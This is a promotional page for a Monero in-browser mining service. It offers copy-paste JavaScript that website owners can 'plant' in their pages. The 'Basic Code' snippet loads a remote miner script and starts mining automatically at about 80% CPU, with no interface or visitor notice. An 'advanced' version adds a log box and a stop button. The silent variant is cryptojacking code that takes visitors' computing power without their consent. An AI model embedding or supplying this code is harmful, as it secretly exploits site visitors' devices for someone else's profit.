X (close)
Basic Code(No UI, Auto Start)

 <script src="https://xmr.omine.org/assets/v7.js"></script>
  <script>
      OMINE("XMR Address", "-1"),
      throttleMiner = 20  //20 means 80% of CPU usage 
</script>

Advance Code (with UI and ON/OFF function)

<div class="miner-outerbox">
   <div class="miner-text">
      <a href="https://xmr.omine.org/web_miner.html" target="_blank">&nbsp;
      Monero JavaScript Miner</a>
   </div>
   <button id="stop-button"><span class="default">✖</span></button>
   <textarea id="texta"></textarea>
</div>

<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script src="https://xmr.omine.org/assets/v7.js"></script>
<script>
var isGo = true;
var timeout;

function addText(e) {

    var t = document.getElementById("texta");

    "job" === e.identifier ? t.value += "new job: " + e.job_id : "solved" === e.identifier ? t.value += "solved job: " + e.job_id : "hashsolved" === e.identifier ? t.value += "pool accepted hash!" : "error" === e.identifier ? t.value += "error: " + e.param : t.value += e, t.value += "\n", t.scrollTop = t.scrollHeight

}
function miner() {
    OMINE("XMR Address", "-1"),
    throttleMiner=20,
    addText("Connecting..."),
    timeout=setInterval(function() {
        for (;
        sendStack.length > 0;
        ) addText(sendStack.pop());
        for (;
        receiveStack.length > 0;
        ) addText(receiveStack.pop());
        addText("calculated " + totalhashes + " hashes.")
    }
    , 2e3);
}

miner();
$("#stop-button").click(function() {
    if (isGo) {
        $(this).html(`<span class="start">✔</span>`);
        stopMining();
        clearInterval(timeout);
        addText("Stopped mining...");
    }
    else {
        $(this).html(`<span class="stop">✖</span>`);
        miner();
    }
    isGo=!isGo;
}

);
</script>

Monero JavaScript Miner

Monero JavaScript Miner can be planted into your own website and mine XMR for you! We take only 2% of server maintenance fee instead of Coinhive's 30%, start to mine Monero today!

This miner is modified version of webminerpool and mine Monero directly to our mining pool (https://xmr.omine.org) you can monitor your miners at Home page.

WebMiner's hashrate will be considered as normal miner, the only difference is we optimize the web mining port so it can adapt to various devices that are mining on your site and get the maximum profit!


This is a more practical example include on/off function and smaller ui, feel free to modify your own version of this javascript miner!